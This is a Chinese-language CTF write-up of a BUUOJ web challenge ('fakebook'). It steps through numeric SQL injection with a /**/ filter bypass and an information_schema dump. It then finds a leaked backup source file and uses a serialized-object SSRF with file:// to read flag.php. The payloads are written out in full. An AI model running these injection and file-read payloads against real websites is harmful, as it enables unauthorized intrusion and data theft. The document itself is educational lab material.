题目:
有功能点login和join,看了下每个页面的源代码,都没有能用的信息,尝试login功能点的登陆用户爆破,也没有爆破结果,剩下的就只有join了,join是一个注册点
注册一个账号admin 密码是123
注册是为了抵达新的页面,获取更多信息
点击join,就注册成功了,虽然没有到达新的页面,但是在首页多了一条信息
这是我们刚刚注册的用户的信息,发现admin是可以点击的,尝试点击
来到了一个新的页面,
此时注意观察url,url变为了?no=1,这个是页面存在sql注入的特征,猜测这里可能存在注入
判断是什么注入
先测试单引号注入
?no=1'
返回 '''
再测试双引号注入
?no=1"
返回 '"'
单引号注入和双引号注入都返回同样的报错信息,并且我们注意到他的语句原本就是''闭合的,也就是不再需要外部传入引号闭合了,原本就是语句就是闭合的,所以猜测可能是数字型注入
默认的页面是no=1,将数字1修改为1以外的其他数字,如果报错就说明存在数字型注入
?no=3
发现报错了,说明这里存在数字型注入
和单引号双引号注入一样,得先让对方报错,然后再在后面执行语句,区别是引号注入的报错方法是添加多余的引号让对方闭合不完全从而报错,然后再用#注释掉多余的引号从而闭合完全,实现语句完整,数字注入的报错方法是输入不正确的数字,不需要#注释掉多余的引号,因为原本的语句引号闭合是没有问题的
查询字段数
?no=3 order by 4
页面没变化
?no=3 order by 5
页面变化,回显字段数报错信息
说明字段数是4
4个字段,说明有4个位置可能是回显点
用联合查询注入测试这4个位置,找到回显点
关键字:union select
?no=3 union select 1,2,3,4
返回no hack,应该是过滤了,猜测是union select都被过滤了
/**/这个字符可以绕过过滤
?no=3/**/union/**/select 1,2,3,4
看到2回显了,说明第二个字段是回显点
那我们可以用第二个字段来爆数据,回显数据库里的敏感信息
爆数据库名
no=3/**/union/**/select 1,database(),3,4
库名:fakebook
爆表名
no=3/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'
表名:users
爆字段名
no=3/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
字段名
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
只爆字段no,username,passwd,data中的数据
no=3/**/union/**/select 1,group_concat(no,username,passwd,data),3,4 from users
1admin3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:9:"admin.com";}
因为用了group_concat,所以这些数据都是合并在一起的,1明显是no字段的数据,admin是username字段的,因为我们刚刚注册的就是admin,passwd和data中的数据不好区分,
以为这里passwd的值是刚刚注册时的密码123的md5值,但测试了下发现不是,可能是其他方式加密的,或者根本跟123无关
后面找到了区分的方法
no=0/**/union/**/select 1,passwd,3,4 from users
回显
no=0/**/union/**/select 1,data,3,4 from users
回显
说明data的值是
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:9:"admin.com";}
这个是一个序列化后变成的字符串,猜测此题可能跟序列化问题有关,但是序列化问题一般需要知道源码,知道是怎么序列化的,才能解决,这里没有更多信息了,怎么办呢
猜测源码可能在网站目录的某个文件里
dirsearch爆破网站的目录
状态200的是可以访问
db.php访问是空的页面
flag.php应该是我们要用序列化来读取的文件
最后剩个robots.txt ,其他都是测试的时候已经访问过的页面,访问robots.txt
告诉我们有个备份文件user.php.bak
试试能不能直接下载
89f7934b-2930-4c39-8d5f-1b7385895e95.node4.buuoj.cn:81/user.php.bak
下载成功了,打开
给源码了,真泄露源码了,并且里面有定义类,大概率是序列化问题了
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
代码审计:
第一个区域
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
这个区域就是对类里面属性的属性值做初始化
第二个区域
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
这个地方是重点,自定义了一个get()方法,$url不知道是什么值,等会往下看,
看到有curl_init()函数,这个函数是SSRF漏洞的特征函数,初始化一个cURL会话
$ch=curl_init(); //初始化一个cURL会话,保存到变量$ch
return $output; //flag.php的内容可能最后也是经过这里输出,所以我们要调用get()这个方法,才能得到flag的值,即我们得利用SSRF漏洞,来获取flag的值
curl_init : 初始化一个cURL会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。
curl_setopt : 请求一个url。
其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。
CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。
curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。如果状态码不是404,就返回exec的结果。
第三个区域
public function getBlogContents ()
{
return $this->get($this->blog);
}
这里表示blog作为参数传进函数get(),意思$url就是属性blog的属性值
用file://协议读取服务器上面的文件
构造payload:
<?php
class UserInfo {
public $name = "admin";
public $age = 20;
public $blog = "file:///var/www/html/flag.php";
}
$data = new UserInfo();
echo serialize($data);
使用PHP 在线工具 | 菜鸟工具 (runoob.com)得到序列化后的字符串
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
第4个字段是blog,blog是get()函数的参数,所以我们第4个字段传入这个序列化后的字符串,它反序列化后会file://协议读取flag.php的源码
/var/www/html是我们在报错信息里得知的网站的绝对路径
flag.php是目录扫描的时候得知的一个可能存放flag信息的文件
序列化后的字符串,传入第四个字段中的时候,要引号包裹,注意
payload:
?no=3/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
blog变为file:///var/www/html/flag.php
右键查看源代码
最后一个data:text这个链接可以点击,点击之后就访问到了flag.php文件的源码了
flag在里面